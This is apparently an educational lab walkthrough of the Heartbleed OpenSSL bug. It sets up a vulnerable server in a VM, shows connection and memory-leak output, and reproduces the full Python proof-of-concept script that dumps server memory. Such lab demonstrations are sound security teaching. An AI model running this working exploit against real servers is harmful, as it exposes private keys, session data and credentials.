Heartbleed Demo
The Heartbleed vulnerability is caused by a software bug, where the client can request up to 64KB of memory from the running server. In order to understand it, this page outlines a basic demo of how it is detected and what it reveals. The demo is built from a Ubuntu 13 Server ISO, which has a default version of openssl of 1.0.1e, and which is vulnerable to Heartbleed. The previous post of here, and the live demo is here:
The default SSL port is 443, and we need to install the Apache Web server, and integrate openssl with a secure HTTP connect. For this we install Apache, SSL and accepted the default Ubuntu certificate with:
sudo apt-get install apache2 sudo a2enmod ssl sudo a2ensite default-ssl sudo /etc/init.d/apache2 restart
This will create a Web server which uses https on Port 443. In the demo I run the Ubuntu server in VMware Fusion at an address of 172.16.12.150. Running the following shows the vulnerability on the server:
$ openssl version -a OpenSSL 1.0.1e 11 Feb 2013
Next a Web connection is used to verifiy the connection, after which the following commands can be used to access the server:
billbuchanan@bills-mbp:~$ openssl s_client -connect 172.16.121.150:443 -tlsextdebug CONNECTED(00000003) TLS server extension "renegotiation info" (id=65281), len=1 0001 - <SPACES/NULS> TLS server extension "EC point formats" (id=11), len=4 0000 - 03 00 01 02 .... TLS server extension "session ticket" (id=35), len=0 TLS server extension "heartbeat" (id=15), len=1 0000 - 01 . depth=0 CN = ubuntu verify error:num=18:self signed certificate verify return:1 depth=0 CN = ubuntu verify return:1 --- Certificate chain 0 s:/CN=ubuntu i:/CN=ubuntu --- Server certificate -----BEGIN CERTIFICATE----- MIICsjCCAZqgAwIBAgIJAL/PapK6cF3vMA0GCSqGSIb3DQEBBQUAMBExDzANBgNV BAMTBnVidW50dTAeFw0xNDA0MTUxOTI0NTBaFw0yNDA0MTIxOTI0NTBaMBExDzAN BgNVBAMTBnVidW50dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOZL 6/GxNwa0s8HlWtkB1v5iUfZ1KDXu7kknn1FKExguz7KZ9XiFITcqSCIryEVHpqg+ YgxnRKV/X8Omstyhe6ZSKy+F9ddxfaELGI66Z4Tz33lF2Tw9cd3XKP9yu+PJ1wQL 6pFctGlJPgMV36qfdrF5dv8rp7BGI+ytVe0bs7JMwPEjRFuxLjbM+49MDEZAaIbC MPGErrVqtlXcp1xEBkrdEd6FtHtrZaGlrwrXznOyTq+D5foZ7l5lF/6DKwtEVsIP P/m3T4l+NOwUfxGZ2A8Nb3LSI6mqAy3Tpfr6NsL9g+4ms+1789lZfFIbZpINJD7c a627jaBTuecUhTCsi9sCAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQUF AAOCAQEAUl+r8YA7hhSVZN4Hxz9RulaCKbVZSdUehJC+dlmAEqkyYTSjOxh1YkaT hzSoibX1zUiUEOP3JrP4d86F/ZV18vKeeSKaPcgyZ7H0bzf0mn2M610w4x6pB4q1 eTVIHUb5BQprAlS8dkBCNREQOSKhMxLJ9cYvR2KprhV1pzd3bZtbHoEOw8t7Ggo5 ywW3jb0S3UjtttJtvuVaIE6JZZfJ6xJt6MnFg6BFhxoDZ/4ZeSnycdA1YBvXw0Uo 3QBVPiKsKVww3Mwu2OoeSHfDj4CCkPPksr86tkWucLGEoPMamgj8c6KfQ6op3UUv T7RyC5ARS05vVxgZXpLTbO0e8c7/qw== -----END CERTIFICATE----- subject=/CN=ubuntu issuer=/CN=ubuntu --- No client certificate CA names sent --- SSL handshake has read 1385 bytes and written 446 bytes --- New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384 Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-RSA-AES256-GCM-SHA384 Session-ID: 8040143DA48DD889FD50002759A033554654EB39073C1BEE610A219B48C23F36 Session-ID-ctx: Master-Key: ECE708F4D245CDB1DA30190315B84B9954BE92ADB2433CE2F2F6F472E8130F8A6E7F4475DA83A22AA2CBAF3627801507 Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None TLS session ticket lifetime hint: 300 (seconds) TLS session ticket: 0000 - eb a9 a6 d9 1b c3 1a 55-59 8c a6 21 98 7b a7 78 .......UY..!.{.x 0010 - 67 09 d2 9d ea 73 22 27-e7 30 60 39 ea 3f 86 4c g....s"'.0`9.?.L 0020 - 24 d3 35 e3 49 e5 b7 9f-4d c2 d4 46 d1 67 15 ae $.5.I...M..F.g.. 0030 - 30 45 fb cc 96 7a cc 69-7a 51 0f 31 96 a5 7b c6 0E...z.izQ.1..{. 0040 - ef df 63 62 9c 3f 7a 8c-85 cc 09 e1 6a f9 8a 19 ..cb.?z.....j... 0050 - 4a 39 02 14 3a 08 bf 44-1c 11 5f bf 17 36 0e e9 J9..:..D.._..6.. 0060 - 3f 81 bb 5f ca 2c 93 dd-00 d1 98 af 76 58 a0 1d ?.._.,......vX.. 0070 - 41 c5 73 f8 11 da 43 60-ef a4 20 8d 67 23 03 c9 A.s...C`.. .g#.. 0080 - 75 88 d5 ad 9d 91 a8 f8-36 bb f0 7c bf c2 7f 5a u.......6..|...Z 0090 - c2 3d 48 0b 36 83 e2 33-2c 9c b2 f6 b2 53 cd a2 .=H.6..3,....S.. 00a0 - 84 03 36 15 61 a4 ca 78-e3 69 64 26 b4 36 fa ee ..6.a..x.id&.6.. 00b0 - 8e 15 bb c5 0e e2 a8 c7-76 67 b5 96 77 7e e2 42 ........vg..w~.B Start Time: 1397594390 Timeout : 300 (sec) Verify return code: 18 (self signed certificate) ---
The line which identifies the vulnerability is:
TLS server extension "heartbeat" (id=15), len=1
Next we can run the Python script to capture the running memory from the server:
Scanning 172.16.121.150 on port 443 Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 704 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 Server TLS version was 1.2 Sending heartbeat request... ... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C [email protected][...r... 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9....... 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....". 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5. 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................ 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2. 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../... 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A............... 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................ 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................ 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................ 00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 00 0E 00 0D ....#........... 00e0: 00 19 00 0B 00 0C 00 18 00 09 00 0A 00 16 00 17 ................ 00f0: 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 ................ 0100: 00 13 00 01 00 02 00 03 00 0F 00 10 00 11 00 23 ...............# 0110: 00 00 00 0D 00 20 00 1E 06 01 06 02 06 03 05 01 ..... .......... 0120: 05 02 05 03 04 01 04 02 04 03 03 01 03 02 03 03 ................ 0130: 02 01 02 02 02 03 00 0F 00 01 01 5C E0 34 C2 16 ...........\.4.. 0140: C0 B4 87 62 EE 4F 20 31 35 20 41 70 72 20 32 30 ...b.O 15 Apr 20 0150: 31 34 20 31 39 3A 32 34 3A 34 38 20 47 4D 54 0D 14 19:24:48 GMT. 0160: 0A 49 66 2D 4E 6F 6E 65 2D 4D 61 74 63 68 3A 20 .If-None-Match: 0170: 22 62 31 2D 34 66 37 31 39 63 30 64 38 33 34 39 "b1-4f719c0d8349 0180: 32 2D 67 7A 69 70 22 0D 0A 0D 0A B2 A7 D1 0F 7E 2-gzip"........~ 0190: 89 FC 77 A8 0A 1A A9 53 AA B3 03 00 00 00 00 00 ..w....S........ 01a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 01b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 01e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ... 3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ WARNING: server 172.16.121.150 returned more data than it should - server is vulnerable!
Thus we can see the memory of the server, with running keys. The Python script used is:
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin) import sys import struct import socket import time import select import re from optparse import OptionParser import smtplib options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)') options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)') options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true') options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hbv10 = h2bin(''' 18 03 01 00 03 01 40 00 ''') hbv11 = h2bin(''' 18 03 02 00 03 01 40 00 ''') hbv12 = h2bin(''' 18 03 03 00 03 01 40 00 ''') def hexdump(s, dumpf, quiet): dump = open(dumpf,'a') dump.write(s) dump.close() if quiet: return for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: if not rdata: return None else: return rdata r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s, dumpf, host, quiet): while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received from '+host+', server likely not vulnerable' return False if typ == 24: if not quiet: print 'Received heartbeat response:' hexdump(pay, dumpf, quiet) if len(pay) > 3: print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!' else: print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: if not quiet: print 'Received alert:' hexdump(pay, dumpf, quiet) print 'Server '+ host +' returned error, likely not vulnerable' return False def connect(host, port, quiet): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if not quiet: print 'Connecting...' sys.stdout.flush() s.connect((host, port)) return s def tls(s, quiet): if not quiet: print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) if not quiet: print 'Waiting for Server Hello...' sys.stdout.flush() def parseresp(s): while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return 0 # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: return ver def check(host, port, dumpf, quiet, starttls): response = False if starttls: try: s = smtplib.SMTP(host=host,port=port) s.ehlo() s.starttls() except smtplib.SMTPException: print 'STARTTLS not supported...' s.quit() return False print 'STARTTLS supported...' s.quit() s = connect(host, port, quiet) s.settimeout(1) try: re = s.recv(1024) s.send('ehlo starttlstest\r\n') re = s.recv(1024) s.send('starttls\r\n') re = s.recv(1024) except socket.timeout: print 'Timeout issues, going ahead anyway, but it is probably broken ...' tls(s,quiet) else: s = connect(host, port, quiet) tls(s,quiet) version = parseresp(s) if version == 0: if not quiet: print "Got an error while parsing the response, bailing ..." return False else: version = version - 0x0300 if not quiet: print "Server TLS version was 1.%d\n" % version if not quiet: print 'Sending heartbeat request...' sys.stdout.flush() if (version == 1): s.send(hbv10) response = hit_hb(s,dumpf, host, quiet) if (version == 2): s.send(hbv11) response = hit_hb(s,dumpf, host, quiet) if (version == 3): s.send(hbv12) response = hit_hb(s,dumpf, host, quiet) s.close() return response def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return print 'Scanning ' + args[0] + ' on port ' + str(opts.port) for i in xrange(0,opts.num): check(args[0], opts.port, opts.file, opts.quiet, opts.starttls) if __name__ == '__main__': main()